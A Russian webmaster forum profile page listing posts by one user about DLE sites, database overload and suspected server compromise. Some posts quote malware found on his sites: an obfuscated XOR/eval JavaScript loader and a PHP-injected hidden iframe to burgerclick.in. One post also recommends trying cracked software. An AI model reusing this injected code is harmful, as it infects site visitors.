Kolbaser
-
Публикации
519 -
Зарегистрирован
-
Посещение
-
Дней в лидерах
11
Сообщения, опубликованные пользователем Kolbaser
-
-
Да, раздел выбран не тот, а шаблон дорого наверное обошёлся, раритет нынче ценится)))
-
Kolbaser,
в каком файле он у вас появляется?
В декабре был другой код, он был в index.php на всех сайтах моего сервера. Потом я поменял все пароли фтп, пароль на сервер, сменил винчестер (давно собирался), поставил новую ОС + касперский 2010 и старый веник не подключал к новому. Вроде всё было нормально, но буквально через полторы недели Яндекс написал, что на сайте вредоносный код. На трёх сайтах я нашёл этот код в main.tpl в самом низу и Яндекс вернул их в выдачу, но на одном сайте этот код был продублирован base.js находящейся в шаблоне, я удалил и от туда его. Яндекс вернул и этот сайт в выдачу, но через дня три этот же код обнаружился в соседнем файле menu.js. а в main.tpl его на этот раз не было (шаблоном этим пользуюсь больше года - vsefilmi.com).
Я уже не знаю где искать дыру, в командоре пароли не храню, другим людям не даю, поменял пароли и на аську и на сервер чуть ли не каждую неделю меняю, и на админов на сайтах (везде только я админ), но код возвращается, но на этот раз не на все сайты как в декабре или это пока...
-
Как же он туда попал?
Чтоб я знал... так замучился искать дыру... и пароли менял и ОС и веник и что только не менял...
-
Код обнаружил у себя на сайте, подскажите как его можно расшифровать.
<script>wvan=["ocynoaxi=0;nyzibet='';for(pfhuo=0;pfhuo<wvan[0]['length'];pfhuo+=1)ocynoaxi+=wvan[0].charCodeAt(pfhuo);ocynoaxi%=0x64;for(pfhuo=0;pfhuo<wvan[1]['length'];pfhuo+=2)nyzibet+=String.fromCharCode(parseInt(0+'x'+wvan[1].charAt(pfhuo)+wvan[1].charAt(pfhuo+1))^ocynoaxi);document.write(nyzibet);","24706c757426247a777c6126246b7b6a71686c266e796a386c7d7568515e6a79757d257c777b6d757d766c367b6a7d796c7d5d747d757d766c303f717e6a79757d3f31236c7d7568515e6a79757d366b7d6c596c6c6a717a6d6c7d303f717c3f343f4a4b515e6a79757d3f31236c7d7568515e6a79757d366b7d6c596c6c6a717a6d6c7d303f6b6a7b3f343f706c6c682237377b74717b73356179767c367b777537797c377176367b7f71272b3f31236c7d7568515e6a79757d366b6c61747d366e716b717a7174716c61253f70717c7c7d763f236c7d7568515e6a79757d366b6c61747d366f717c6c70253f2868603f236c7d7568515e6a79757d366b6c61747d36707d717f706c253f2868603f23515e6a79757d577a723825387c777b6d757d766c367a777c61367968687d767c5b7071747c306c7d7568515e6a79757d312324376b7b6a71686c2624377a777c61262437706c757426"];eval(wvan[0]);</script>
-
Я не видел баннер, в коде вроде не видно.
-
Картинки на моём сервере залиты, более 11К штук.
Тогда смотрите на трафик.
Хотя это не связно, если ошибка у БД появляется.
Траф уже смотрел, никто не гонит лишний. Через Яндекс панель посмотрел, есть г*внюки, которые пропустили н-кол-во страниц через граббер, вот отойду после НГ и ДР и напишу хостеру чтоб сайты заблочили, но это всё равно не то, сегодня днём сайт работал нормально, т.е. более менее, ошибка 504 и перенаполнение базы не выскакивало, но журналисты пишут, что сайт глючит безбожно.
Сейчас россияне отдыхают, траф везде идёт хороший, я теряю деньги, двиги на сайтах стоят лицензии, вот второй сайт, с которым БД объеденена Моя ссылка, нужно написать в платную поддержку, чтоб мне помогли, я хоть сегодня могу на сайте активизировать пожизненную лицензию, тогда мне помогут официально?
-
может быть торможения и такая нагрузка на БД из-за того, что мою БД поставили на несколько других сайтов?
Как это относится к вашему серверу? Их на ваш север поставили?
Картинки на моём сервере залиты, более 11К штук.
-
Чтобы решить эту проблему, БД нужно разъединить?
Чтобы решить проблему, нужно понять причину проблемы.
Я ничего не менял ни в настройках движка, ни в настройках сервака.
С этого сайта была слита БД через ноябрьскую дыру, может быть торможения и такая нагрузка на БД из-за того, что мою БД поставили на несколько других сайтов?
-
Но у них суммарная посещаемость тысяч 8-10К, другой мой сайт с посещаемостью 30К работает без проблем. Все эти сайты находятся на одном сервере.
Чтобы решить эту проблему, БД нужно разъединить?
-
Сделал общую авторизацию для двух сайтов, на одном посещалка где-то 6-7К, на втором было человек 400, но пару дней назад начала расти и уже 1700 человек. Короче первый сайт работает теперь ужасно медленно, настолько медленно, что можно сделать кофе и сходить покурить, пару секунд нормально всё работает, а потом наступает реальный висяк...
Ничего нового я на сайт в это время не вешал, но тормозит именно один сайт. У меня выделенный сервак и остальные сайты там нормально работают. Иногда страница вообще не грузится и выдаёт 504 ошибку или выскакивает ошибка MySql "Too many connections".
Прав ли я, что это из-за объединения БД и чем мне грозит разъединение БД?
Сейчас проверил сайт в Мазиле и в Хроме и заметил, что там сайт тормозит меньше, но выскакивает периодически ошибка MySql "Too many connections". Тормозит сайт в Опере.
-
1) Советую писать сообщения вкупе с учебником русского языка, где нужно посматривать в правила расставления знаков препинания, прочитал пост раза 3 чтоб догнать суть.
2) На моей 19-ке всё выглядит нормально, всё на месте и никуда не съехало.
-
Тянул-тянул, и вот в последний день купил себе пожизненную лицензию.
Всех с наступающим НГ и моим ДР)))
-
Ага, ты еще регистрацию платной сделай и все прямо ринутся к тебе.. Вот ответь на вопрос:
-на кой фиг мне идти к тебе где у тебя куча рекламы, гомна и какой то фигни типа вип групп, когда я могу просто пойти на 4dle.ru и там все абсолютно тоже самое найду, а может даже и лучше...
В чем твоей ресурс круче? При такм количестве рекламы и всякой хрени я закрою твой сайт раз и на всегда и больше там не появлюсь. Надо думать о пользователях в первый момент...
Зайди ко мне на сайт, увидешь хоть одну рекламу? Если и найдешь то только ПРИЛОЖЕНИЯ и то которые для мобильных телефонов и вещь интересная довольно, просто чтоб ей пользоваться, плати... Атак покажи хоть на одну рекламку
Я посмотрел на твой сайт и не могу понять чем ты хвалишься, чего ты добился (?), посещалки в 150 чел в сутки и заработка с сайта 5$ в год? Да ты прямо Монстр (именно с большой буквы)
Еслиб ты сделал сайт с умеренной рекламой и хорошей посещалкой, тогда можно что-то говорить в этой теме, а так ты ошибся адресом, т.к. твой сайт не монетизирован, следовательно в этом деле ты полный профан 
Для автора темы: Я уверен на 100% что Вип группы сейчас не нужны, у меня есть сайт с посещалкой 30К в сутки и то я сомневаюсь, что такая практика там будет иметь успех. Если реклама без поп/клик/жоп/сиськ и етк., то народ она не особо смущает. Лично меня "голые" сайты не впечатляют, я сам люблю кликнуть на маркетгиде и почитать интересную новость)
У сайта есть своя специфика и сколько я лажу по таким сайтам я понял, что для гарантии успеха такого сайта нужно ВСЕ файлы лить на свой сервер + иметь материал новенький (например dle.net.ua выкладывает эксклюзивные рипы, что-то в таком роде нужно) + не нагружать сайт рекламой. Бегуны тут нафиг не упали, по таким сайтам лазят веб-мастера и они по бегунам кликать не будут, вешай реферальские баннеры хороших партнёрок, при нормальной посещалке доход пойдёт + если есть возможность сделай раздел "Услуги" как на 4dle.ru. Форум тоже не повредит, но я считаю чисто для "сходки" проф народа, до Сёрча нужно ещё расти и расти и расти и ...
-
С чего эта ошибка может выскакивать, причём на всех сайтах моего выделенного сервера. Началось недавно, посмотрел по трафику, всё вроде как и должно быть, народу, естественно, меньше чем на выходные, тогда с чего эта ошибка может вылазить?
Превышено максимальное количество одновременных подключений к вашему mysql серверу. Настройки его смотрите, лимит на количество подключений.
Странно... у меня было народу на сайтах в полтора раза больше и всё работало без тормозов...
А это может быть последствием кражи моей БД/установки на какой-нить сайт, а картинки запускаются с моего сервака?
-
С чего эта ошибка может выскакивать, причём на всех сайтах моего выделенного сервера. Началось недавно, посмотрел по трафику, всё вроде как и должно быть, народу, естественно, меньше чем на выходные, тогда с чего эта ошибка может вылазить?
-
Введите свой ключ и все
Год же прошел, не знаю где теперь его искать
Тут: http://dle-news.ru/
Авторизируйтесь и там найдёте свой ключ.
-
У Вас VPS?Тогда скачиваете офф версию подключаетесь по RDP доступу и ставите нормальную версию.Если же у вас обычный хостинг то придется писать в тех.поддержку.
Выделенный сервер. У меня другое образование) Есть вещи, которые я готов доверить исключительно профессионалам, я могу переделывать шаблоны и раскручивать сайты, но в настройке серверов я как-то ещё не практиковался, т.ч. лучше уж я заплачу, а то экспериментировать на своём сервере не хочется))).
-
В принципе вот, на серваке уже стоит эта связка, но кривая, можно её просто "подправить". Панель управления на серваке "Плеск". Жду предложений от Грамотных людей.
-
На данный момент всё это установлено, но для того, чтоб что-то поменять в настройках сервера, мне нужно чтоб тот программист вносил изменения под "рутом", это неудобно и для него и для меня. Мне это уже надоело и я хотел бы найти человека, который может нормально это установить и который имеет хорошую репутацию на этом форуме.
-
Сегодня обнаружил срабатывание касперского на своих сайтах, посмотрил исходный код и в самом низу нашёл этот код:
echo '<div style="visibility:hidden"><iframe src="http://burgerclick.in/ar_zzz/index.php" width=100 height=10></iframe></div>';
Мне интересно как его могли вставить. Код я нашёл в index.php, но дело в том, что дата обновления этого файла на сервере стоит очень давняя, а я неделю назад копировал все файлы к себе на комп и тогда всё было чисто, а сейчас все сайты на сервере были с этим ифреймом, а дата обновления index.php могла стоять очень старая. Как можно изменить файл, чтоб дата осталась прежней?
Если у человека есть "рут" доступ к серверу, он видит фтп пароли к моим сайтам или нет? (извиняюсь за глупый вопрос, но я не программист).
Просто дело в том, что из командера пароли не могли увести, т.к. там пароли и на другой хостинг и, следовательно, ифрэйм был бы и там, но его там нету. Значит пароли украли как-то по другому. Естественно я никому пароли не давал.
В прошлом месяце бала такая же фигня и тоже только на этом сервере, я тогда поменял пароль к админке сервера и некоторые фтп пароли на сайты, но сейчас всё повторилось и пофиг, что я что-то там менял
Короче я ничего не могу придумать, кроме как если это делает тот человек, который имеет "рут" доступ к серверу, но я не могу от него отказаться, т.к. он мне так настроил нгинкс на сервере, что при любом изменении любых характеристик на сервере (даже смена фтп на каком-либо сайте) ложит сайты и чтоб этого избежать, мне в таких случаях нужно, чтоб он одновременно был в "рут" доступе и вносил там какие-то коррективы... короче не очень удобно...
Что вы мне можете посоветовать в таком случае, конечно это могли быть и админы хостинг компании, но я у них почти год арендую сервер и такое началось только месяц назад, а человек этот имеет доступ "рут" где-то с весны и тоже раньше всё было нормально... (этот человек имеет довольно хорошую репутацию на этом форуме)
Короче х.з., соврешенно не хочется никого обвинять, но и с такой ерундой возиться надоело...
-
вот я думал купить или нет Лицензионные программы,некоторые говорят что эти программы просто необходимо иметь под рукой, без них не обойти,что прогон с allsubmitter по каталогом дает хороший результат.
Не факт, я не единожды встречал на форумах людей, которые спрашивали как удалится со всех каталогов после прогона, т.к. после этого их посещалка резко упала.
П.С. Я бы не торопился покупать лицензию, для начала стоило бы попробовать свои силы на крякнутом, а там уже смотреть как покатит.
-
Самые главные программы, это руки и голова.
Только я хотел написать, как прочитал название темы. Это действительно главные инструменты, без них никакие проги не помогут.
Дочитал тему до конца... Когда-то в самом начале почитав умных книжек я решил, что крутить сайты ничего сложного нету, нужно лишь упорство), но когда я начал создавать свои проекты и пошли различные проблемы я понял, что оч сильно ошибался. А ведь я тогда тоже думал фирму открывать... Сейчас я довольно неплохо раскручиваю свои проекты без различных программ и финансовых вложений, пользуясь только руками и приобретёнными знаниями и имею сайты с посещалкой до 40К.
Я бы рекомендовал автору сделать парочку сайтов и попробовать их раскрутить, загнать в ТОП по определённым запросам, а потом уже думать сможет ли он потом отбиться от гневных клиентов и исков в суд. В любом деле нужен опыт, нужно портфолио, положительные отзывы... А открывать СЕО-контору при этом спрашивая где найти крякнутый Алсубмитер... это как-то, мягко говоря, наивно) Думаю, что хорошей связкой будет, что-нибудь последнее от Ашманова + http://forum.searchengines.ru - и тогда всё будет офигенно)))
-
я не понимаю, в какой ситуации это может понадобиться, то есть зачем отписывать всех пользователей от всех новостей?
Х.з. я сам как-то не очень догяняю коэффициент полезности этой кнопки
Возможно нагрузку уменьшить, а то если на сайте много комментируется и дофига юзеров, то писем ежедневно будет уходить тысячи или десятки тысяч, а это нехилая нагрузка 
-
Отписать всех от чего-то там
не могу представить, для чего эта кнопка может понадобиться, то есть для какой ситуации
Эта кнопка нужна для того, чтоб отписать всех юзеров от комментов (они могут подписаться на новые комменты), но меня больше интересует картинка на плеере...
Помогите расшифровать вредоносный код
в В помощь вебмастеру
Опубликовано:
У меня выделенный сервер.